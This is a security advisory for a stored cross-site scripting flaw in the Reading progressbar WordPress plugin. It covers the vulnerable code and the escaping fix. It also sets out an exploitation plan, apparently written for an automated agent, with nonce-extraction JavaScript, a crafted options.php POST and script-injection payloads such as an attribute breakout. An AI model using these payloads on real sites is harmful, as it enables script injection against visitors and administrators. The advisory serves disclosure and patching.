Reading progressbar < 1.3.1 - Authenticated (Administrator+) Stored Cross-Site Scripting
Description
The Reading progressbar plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 1.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<1.3.1What Changed in the Fix
Changes introduced in v1.3.1
Source Code
WordPress.org SVNThis research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the **Reading progressbar** plugin for WordPress. ### 1. Vulnerability Summary The "Reading progressbar" plugin fails to sanitize user-controlled settings before storing them and fails to escape them when …
Show full research plan
This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Reading progressbar plugin for WordPress.
1. Vulnerability Summary
The "Reading progressbar" plugin fails to sanitize user-controlled settings before storing them and fails to escape them when outputting them to the page. Specifically, values stored in the rp_settings option are echoed directly into the HTML of both the admin settings page and the public-facing frontend.
This allows an authenticated user with Administrator privileges (even if unfiltered_html is disabled, such as on a Multisite installation) to inject arbitrary JavaScript. The payload is stored in the WordPress database and executed whenever a user (including other Administrators) visits a page where the progress bar is rendered.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/options.php(The standard WordPress settings handler). - Vulnerable Parameter:
rp_settings[rp_field_custom_position],rp_settings[rp_field_fg_color], orrp_settings[rp_field_bg_color]. - Authentication Level: Administrator (capability
manage_options). - Preconditions: The plugin must be active. To trigger the frontend XSS, the progress bar must be enabled for at least one template (e.g., the homepage).
3. Code Flow
- Input: An administrator submits the settings form at
wp-admin/options-general.php?page=reading-progressbar. - Processing (Admin):
admin/rp-admin.phpregisters the setting viaregister_setting( 'pluginPage', 'rp_settings' );(Line 62). It defines no sanitization callback. - Storage: WordPress saves the raw, unsanitized array into the
rp_settingsoption in thewp_optionstable. - Admin Rendering:
admin/rp-admin.phprenders the settings fields. Inrp_field_custom_position_render()(Line 197), the value is echoed directly:<input type='text' name='rp_settings[rp_field_custom_position]' value='<?php echo $optionCustomPosition; ?>'> - Public Rendering:
public/rp-public.phphooks intowp_footerviarp_show_it()(Line 58). It retrieves the settings and echoes them into a<progress>element without escaping:echo '<progress class="readingProgressbar" data-height="' . $rpHeight . '" data-position="'. $rpPosition .'" data-custom-position="'. $rpCustomPosition .'" ...';
4. Nonce Acquisition Strategy
The vulnerability is exploited via the standard WordPress Settings API. To update settings, a nonce for the specific settings group (pluginPage) is required.
- Navigate: Use
browser_navigateto go towp-admin/options-general.php?page=reading-progressbar. - Extract: Use
browser_evalto retrieve the nonce and the referer from the form.const nonce = document.querySelector('input[name="_wpnonce"]').value; const referer = document.querySelector('input[name="_wp_http_referer"]').value; return { nonce, referer }; - Note: This is an authenticated action. The agent must be logged in as an Administrator.
5. Exploitation Strategy
- Login: Log in as an Administrator.
- Configure Plugin: Ensure the progress bar is configured to show on the homepage.
- Obtain Nonce: Navigate to the plugin settings page and extract the
_wpnoncefor thepluginPagegroup. - Inject Payload: Send a POST request to
wp-admin/options.phpwith the malicious payload.- URL:
https://<target>/wp-admin/options.php - Content-Type:
application/x-www-form-urlencoded - Parameters:
option_page:pluginPageaction:update_wpnonce:[EXTRACTED_NONCE]_wp_http_referer:/wp-admin/options-general.php?page=reading-progressbarrp_settings[rp_field_height]:5rp_settings[rp_field_position]:customrp_settings[rp_field_custom_position]:"><script>alert(document.domain)</script>rp_settings[rp_field_templates][home]:1(Enable on homepage)
- URL:
- Trigger: Navigate to the site homepage.
6. Test Data Setup
- Plugin Activation:
wp plugin activate reading-progress-bar - Post Creation: Ensure there is at least one post or the homepage is accessible so the progress bar has a target to render on.
wp post create --post_type=page --post_title="Home" --post_status=publishwp option update show_on_front pagewp option update page_on_front $(wp post list --post_type=page --post_title="Home" --field=ID)
7. Expected Results
- Response: The POST to
options.phpshould return a302 Redirectback to the settings page withsettings-updated=true. - Frontend Impact: Upon visiting the homepage, the HTML source will contain:
<progress class="readingProgressbar" ... data-custom-position=""><script>alert(document.domain)</script>" ...> - Execution: A JavaScript alert box showing the domain will appear.
8. Verification Steps
- Check DB: Verify the stored option via WP-CLI:
Confirm thewp option get rp_settings --format=jsonrp_field_custom_positionkey contains the script tag. - Check Admin Page: Navigate to
wp-admin/options-general.php?page=reading-progressbarand inspect the source of the "Target fixed HTML element" input field. It should show the attribute breakout.
9. Alternative Approaches
- Alternative Field: If
rp_field_custom_positionis sanitized in some environments, tryrp_field_fg_colororrp_field_bg_color. - Admin-Only XSS: Even if the frontend fails to render (e.g., due to theme incompatibility), the XSS will still fire on the Settings Page itself when the administrator views it, because
rp_field_custom_position_renderalso echoes the value unsanitized into thevalueattribute. Use payload:' onmouseover='alert(1) '.
Summary
The Reading progressbar plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 1.3.1. This occurs because the plugin fails to sanitize and escape settings such as custom position and colors before storing them and rendering them in both the admin dashboard and the public frontend, allowing administrators to inject arbitrary JavaScript.
Vulnerable Code
// admin/rp-admin.php (v1.3) function rp_field_height_render( ) { $options = get_option( 'rp_settings' ); if (isset($options['rp_field_height'])) { $optionHeight = $options['rp_field_height']; } else { $optionHeight = ''; } ?> <input type='number' name='rp_settings[rp_field_height]' value='<?php echo $optionHeight; ?>'> <?php } // ... lines 197-199 function rp_field_custom_position_render( ) { // ... <input type='text' name='rp_settings[rp_field_custom_position]' value='<?php echo $optionCustomPosition; ?>'> --- // public/rp-public.php (v1.3) function rp_show_it() { // ... retrieves $rpHeight, $rpPosition, $rpCustomPosition, etc. if ( isset($optionTemplates['home']) && (is_home() && is_front_page() || is_front_page()) ) { echo '<progress class="readingProgressbar" data-height="' . $rpHeight . '" data-position="'. $rpPosition .'" data-custom-position="'. $rpCustomPosition .'" data-foreground="' . $rpForegroundColor . '" data-background="' . $rpBackgroundColor . '" value="0"></progress>'; } // ... (logic repeated for other template types) }
Security Fix
@@ -132,7 +132,7 @@ $optionHeight = ''; } ?> - <input type='number' name='rp_settings[rp_field_height]' value='<?php echo $optionHeight; ?>'> + <input type='number' name='rp_settings[rp_field_height]' value='<?php echo esc_attr( $optionHeight ); ?>'> <?php } @@ -145,7 +145,7 @@ $optionForegroundColor = ''; } ?> - <input type='text' class='rp-colorpicker' name='rp_settings[rp_field_fg_color]' value='<?php echo $optionForegroundColor; ?>'> + <input type='text' class='rp-colorpicker' name='rp_settings[rp_field_fg_color]' value='<?php echo esc_attr( $optionForegroundColor ); ?>'> <?php } @@ -157,7 +157,7 @@ $optionBackgroundColor = ''; } ?> - <input type='text' class='rp-colorpicker' name='rp_settings[rp_field_bg_color]' value='<?php echo $optionBackgroundColor; ?>'> + <input type='text' class='rp-colorpicker' name='rp_settings[rp_field_bg_color]' value='<?php echo esc_attr( $optionBackgroundColor ); ?>'> <?php } @@ -186,7 +186,7 @@ $optionCustomPosition = ''; } ?> - <input type='text' name='rp_settings[rp_field_custom_position]' value='<?php echo $optionCustomPosition; ?>'> + <input type='text' name='rp_settings[rp_field_custom_position]' value='<?php echo esc_attr( $optionCustomPosition ); ?>'> <p class="description"><?php echo __('Note: use it only if you have selected <b>custom</b> position before, instead of <b>top</b> or <b>bottom</b>', 'reading-progress-bar'); ?></p> <?php } @@ -62,38 +62,38 @@ $optionTemplates = $rpSettings['rp_field_templates']; if ( isset($optionTemplates['home']) && (is_home() && is_front_page() || is_front_page()) ) { echo '<progress class="readingProgressbar" - data-height="' . $rpHeight . '" - data-position="'. $rpPosition .'" - data-custom-position="'. $rpCustomPosition .'" - data-foreground="' . $rpForegroundColor . '" - data-background="' . $rpBackgroundColor . '" + data-height="' . esc_attr( $rpHeight ) . '" + data-position="'. esc_attr( $rpPosition ) .'" + data-custom-position="'. esc_attr( $rpCustomPosition ) .'" + data-foreground="' . esc_attr( $rpForegroundColor ) . '" + data-background="' . esc_attr( $rpBackgroundColor ) . '" value="0"></progress>'; } elseif ( isset($optionTemplates['blog']) && (is_home() && !is_front_page()) ) { echo '<progress class="readingProgressbar" - data-height="' . $rpHeight . '" - data-position="'. $rpPosition .'" - data-custom-position="'. $rpCustomPosition .'" - data-foreground="' . $rpForegroundColor . '" - data-background="' . $rpBackgroundColor . '" + data-height="' . esc_attr( $rpHeight ) . '" + data-position="'. esc_attr( $rpPosition ) .'" + data-custom-position="'. esc_attr( $rpCustomPosition ) .'" + data-foreground="' . esc_attr( $rpForegroundColor ) . '" + data-background="' . esc_attr( $rpBackgroundColor ) . '" value="0"></progress>'; } elseif ( isset($optionTemplates['archive']) && (is_archive()) ) { echo '<progress class="readingProgressbar" - data-height="' . $rpHeight . '" - data-position="'. $rpPosition .'" - data-custom-position="'. $rpCustomPosition .'" - data-foreground="' . $rpForegroundColor . '" - data-background="' . $rpBackgroundColor . '" + data-height="' . esc_attr( $rpHeight ) . '" + data-position="'. esc_attr( $rpPosition ) .'" + data-custom-position="'. esc_attr( $rpCustomPosition ) .'" + data-foreground="' . esc_attr( $rpForegroundColor ) . '" + data-background="' . esc_attr( $rpBackgroundColor ) . '" value="0"></progress>'; } elseif ( isset($optionTemplates['single']) && (is_singular() && !is_front_page()) ) { $optionPostTypes = $rpSettings['rp_field_posttypes']; $currentPostType = get_post_type(); if (isset($optionPostTypes[$currentPostType])) { echo '<progress class="readingProgressbar" - data-height="' . $rpHeight . '" - data-position="'. $rpPosition .'" - data-custom-position="'. $rpCustomPosition .'" - data-foreground="' . $rpForegroundColor . '" - data-background="' . $rpBackgroundColor . '" + data-height="' . esc_attr( $rpHeight ) . '" + data-position="'. esc_attr( $rpPosition ) .'" + data-custom-position="'. esc_attr( $rpCustomPosition ) .'" + data-foreground="' . esc_attr( $rpForegroundColor ) . '" + data-background="' . esc_attr( $rpBackgroundColor ) . '" value="0"></progress>'; } }
Exploit Outline
To exploit this vulnerability, an attacker with Administrator privileges needs to: 1. Log in to the WordPress dashboard and navigate to the Reading Progressbar settings page at `wp-admin/options-general.php?page=reading-progressbar`. 2. Capture the security nonce (`_wpnonce`) for the `pluginPage` setting group from the page source. 3. Send a POST request to `wp-admin/options.php` to update the `rp_settings` option. The payload should include a malicious script in the `rp_settings[rp_field_custom_position]` parameter (e.g., `"><script>alert(document.domain)</script>`). 4. Ensure the progress bar is enabled for at least one public template (like the homepage) in the same POST request. 5. The script will execute whenever the administrator visits the settings page again or when any user visits the homepage.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.